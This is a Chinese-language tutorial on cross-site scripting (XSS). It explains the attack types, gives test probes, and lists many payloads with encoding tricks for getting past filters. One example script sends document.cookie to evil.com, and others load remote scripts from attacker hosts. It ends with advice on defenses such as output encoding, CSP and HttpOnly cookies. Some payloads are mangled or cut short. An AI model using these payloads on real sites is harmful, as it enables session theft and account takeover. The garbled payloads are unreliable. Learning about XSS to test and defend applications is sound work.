Web安全之一文看懂XSS
字数 1977 2025-08-11 21:26:09
XSS跨站脚本攻击全面解析与防御指南
0x01 XSS原理与分类
XSS(Cross Site Scripting):跨站脚本攻击,为避免与CSS混淆而缩写为XSS。攻击者向Web页面插入恶意Script代码,当用户浏览该页面时,嵌入的Script代码会被执行,达到攻击用户的目的。
XSS分类
-
存储型XSS:
- 持久化攻击,代码存储在服务器中
- 常见场景:个人信息、文章发表等用户输入区域
- 危险程度高,易造成蠕虫传播、Cookie盗取
-
反射型XSS:
- 非持久化攻击,需要诱骗用户点击恶意链接
- 常见于搜索页面等参数传递场景
- 主要用于盗取用户Cookie信息
-
DOM型XSS:
- 不经过后端处理,基于文档对象模型(DOM)的漏洞
- 通过URL参数控制触发
- 本质上属于反射型XSS的特殊形式
可能触发DOM型XSS的属性:
document.referer
window.name
location
innerHTML
document.write
0x02 XSS攻击危害
- 盗取各类用户账号(登录账号、网银账号、管理员账号等)
- 控制企业数据(读取、篡改、添加、删除敏感数据)
- 盗取商业机密资料
- 实施非法转账
- 强制发送恶意邮件
- 网站挂马
- 控制受害者机器发起对其他网站的攻击
0x03 XSS测试方法
基础测试语句
- 检测HTML标签过滤:
<h5>1</h5>
<span>1</span>
- 检测脚本执行:
<script>console.log(1);</script>
- 闭合问题检测:
"><span>x</span><"
'><span>x</span><'
- 单行注释绕过:
"><span>x</span>//
0x04 XSS攻击语句大全
基础攻击语句
<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
高级绕过技术
- IMG标签XSS:
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
- 编码绕过:
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=jav..省略..S')>
<IMG SRC=java..省略..XSS')>
- 嵌入式标签:
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
- 多行注入:
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>eval_r(z)</script>
- 其他标签攻击:
<BODY onload=alert('XSS')>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<DIV STYLE="width: expression_r(alert('XSS'));">
各标签攻击语句示例
<script>alert(document.cookie)</script>
<body οnlοad=alert(1)>
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
<style οnlοad=alert(1)></style>
0x05 XSS漏洞挖掘
黑盒测试
寻找所有用户可控并能输出到页面代码的位置:
- URL参数
- URL本身
- 表单输入
- 搜索框
常见业务场景
高风险区域:
- 评论区、留言区
- 个人信息编辑
- 订单信息展示
- 站内信、私信
- 意见反馈
潜在风险点:
- 搜索功能
- 当前目录显示
- 图片属性处理
白盒审计
-
PHP审计要点:
- 搜索
$_GET,$_POST,$_REQUEST等参数接收方法 - 跟踪参数处理流程,检查输出前的过滤
- 检查数据库操作前后的数据过滤
- 搜索
-
DOM型审计:
- 搜索JavaScript操作DOM的关键字
- 检查
innerHTML,document.write等危险操作
0x06 XSS攻击过程分析
反射型XSS攻击流程
- 攻击者发现目标网站存在反射型XSS漏洞
- 构造恶意链接并诱导受害者点击
- 受害者点击链接后,恶意脚本在其浏览器执行
- 脚本窃取敏感信息(如Cookie)并发送给攻击者
- 攻击者利用获取的信息冒充受害者
存储型XSS攻击流程
- 攻击者发现目标网站存在存储型XSS漏洞
- 在允许用户输入的区域(如评论区)插入恶意脚本
- 恶意脚本被存储到服务器数据库
- 其他用户浏览包含恶意脚本的页面时触发攻击
- 攻击者获取受害者敏感信息或控制其会话
0x07 XSS攻击实战测试
远程加载攻击payload
- 创建恶意JS文件:
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
- 在漏洞点加载远程脚本:
<script src="http://attacker-server/xss.js"></script>
- 或使用图片标签加载:
三种类型XSS实例
-
反射型XSS:
- 前端表单提交到后端
- 后端直接返回用户输入
- 输入
<script>alert(/xss/)</script>触发
-
存储型XSS:
- 用户输入存储到数据库
- 其他用户查看时执行恶意代码
- 数据流:前端→后端→数据库→后端→前端
-
DOM型XSS:
- 不经过后端处理
- 通过JavaScript直接操作DOM触发
- 数据流:前端→浏览器
0x08 XSS编码绕过技术
常见过滤与绕过
-
GPC过滤绕过:
- 避免使用引号:
<script src=http://www.xss123.com/xss.js></script> -
alert过滤绕过:
<script>prompt(/xss/);</script> <script>confirm(1);</script> -
ASCII编码:
<script>alert(String.fromCharCode(88,83,83))</script> -
URL编码:
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a> -
JS编码:
- 八进制:
eval("\141\154\145\162\164\50\61\51") - 十六进制:
eval("\x61\x6c\x65\x72\x74\x28\x31\x29") - Unicode:
\u0061\u006c\u0065\u0072\u0074('xss')
- 八进制:
-
HTML编码:
-
Base64编码:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
0x09 XSS防御措施
防御原则
-
输入过滤:
- 对用户输入和URL参数进行严格过滤
- 优先使用白名单过滤,谨慎使用黑名单
-
输出编码:
- 对动态输出到页面的内容进行HTML编码
- 使用专门的编码函数(如PHP的
htmlspecialchars)
-
HTTP Only Cookie:
- 设置会话Cookie的HTTP Only属性
- 防止客户端JavaScript访问敏感Cookie
具体防御实现
- PHP示例:
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
- 内容安全策略(CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
-
现代框架防护:
- 使用React、Vue等现代前端框架
- 框架内置XSS防护机制
-
DOM型XSS防御:
- 避免使用
innerHTML,改用textContent - 对动态创建的HTML内容进行净化
- 避免使用
通过实施以上综合防御措施,可以显著降低XSS攻击的风险,保护Web应用和用户数据安全。